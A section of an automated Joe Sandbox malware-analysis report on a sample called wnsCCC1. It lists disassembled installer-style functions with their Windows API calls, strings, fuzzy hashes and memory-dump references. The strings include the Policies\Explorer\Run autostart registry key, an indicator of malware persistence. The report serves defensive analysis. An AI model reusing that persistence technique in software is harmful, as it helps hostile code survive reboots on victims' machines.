F, xrefs: 0040100C

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction ID: 5ab7a9dfb5d1aa1389ec6db6610c78830fc9e5957017c9b4d31100662f95375f
Opcode Fuzzy Hash: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction Fuzzy Hash: 14418C71800209AFCF058F95DE459AF7BB9FF44314F00842EF591AA1A0CB78D954DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00446728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00002000,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004366F8,?,?,0000040F,?,004366F8,004366F8,?,00000001,004366F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00446728), ref: 00404CC9

Strings

(gD, xrefs: 0040494D
A, xrefs: 00404973
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (gD$A$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
API String ID: 2624150263-31143440
Opcode ID: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction ID: 9143468ab5d07659f3e28480ae0608f723924ccc95e3ca23e4c22bb38621839a
Opcode Fuzzy Hash: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction Fuzzy Hash: 50A161B1900205ABDB11AFA6CD85AAF77B8EF84315F11803BF601B62D1D77C99418F6D

Uniqueness

Uniqueness Score: -1.00%

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,0045EDC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,0045F5C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,0045F5C8,C0000000,00000004,0045F5C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,0045E9C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: ea336b7c7ee09a778134d66cdc55d59d2776f1992f2862d3dcc69e87973e6afa
Instruction ID: a59dba961965db3d83d90a372a5cb94a2ead5b1f2218518f4427fddb9e4ed3d0
Opcode Fuzzy Hash: ea336b7c7ee09a778134d66cdc55d59d2776f1992f2862d3dcc69e87973e6afa
Instruction Fuzzy Hash: 8F312771200705BBE2206B628D48F573A6CEF45745F15043EFA46FA2C3DA7CD91586AD

Uniqueness

Uniqueness Score: -1.00%

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction ID: b152cc9d973ae9b63f3bddadd0b016ecede68a0b65af60167b2766ac6abf260a
Opcode Fuzzy Hash: d26779cd53d0e13026bfca991753509873890f78f21e0d47ba27efc3128bd531
Instruction Fuzzy Hash: 1721A171900518BADB119F96DD84ACFBFB5EF44314F10803AF904B22A1C7798A90CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,0002E789), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction ID: 498445d7746695eb5746344947d7fa5b32a20b045a0bc4bf054171d5bd846382
Opcode Fuzzy Hash: 0fcb82c9706ea5302a04af69b33a80ab5dbc899856dcad255e9a620228d66a26
Instruction Fuzzy Hash: C901C4B0801614EBC7226B60FE4CA9B7B68BB00745B14013BF885F11E1CBB84855EFDE

Uniqueness

Uniqueness Score: -1.00%

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction ID: e56410310a72084f4d909e549713b6ef5e7faa8c618e51606751afd800fe69ca
Opcode Fuzzy Hash: 55259a99b3f005bd62bd1eee31106c216fd46ae3fbea56f5e47295bb88c76c71
Instruction Fuzzy Hash: 28F0317064020CABDF206F60DD4EBEE3B69EB40319F00803AFA45B51D0DBF999598F99

Uniqueness

Uniqueness Score: -1.00%

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction ID: cde632e975db2237da1c3b35629bcc1af8e7f74e244a4afe6fc019873d9bc44b
Opcode Fuzzy Hash: 4dd5869cf8e01605dbba6f89003ab72911ed6556746709080781428bb81ff186
Instruction Fuzzy Hash: D921BFB1C00124BBCF116FA5DE48D9E7E79EF09324F10023AF9647A2E1CB794D418B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00446728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(gD, xrefs: 00404C9F

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(gD
API String ID: 3540041739-492854681
Opcode ID: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction ID: aaf23b967d3fcc40b536a7be4f54997d0d4b2484921d6e850771612597014f60
Opcode Fuzzy Hash: 3064c8308b7509d1383c21e902e6820dcf1316d1410b3bc833d73e44a854a58c
Instruction Fuzzy Hash: 4D11EB73A0412837EB00556DAC45EDF3288EB85374F264237FA66F31D1E979CC5282E8

Uniqueness

Uniqueness Score: -1.00%

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Uniqueness

Uniqueness Score: -1.00%

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0041E5D8), ref: 00401E3E

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction ID: f94ea66f3bb0d18877d48f50851b2a4d43bd5926543aaa07d49364debbc8af75
Opcode Fuzzy Hash: d45f834d171d725afd91ae9bb128b8c3c7dbb3b90b3bde5971021a52cdcc4ac4
Instruction Fuzzy Hash: A601B575A04240BFF7009BF5AE0A7D9BFB5AB55309F10847DF642B61E2D97840858F2D

Uniqueness

Uniqueness Score: -1.00%

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
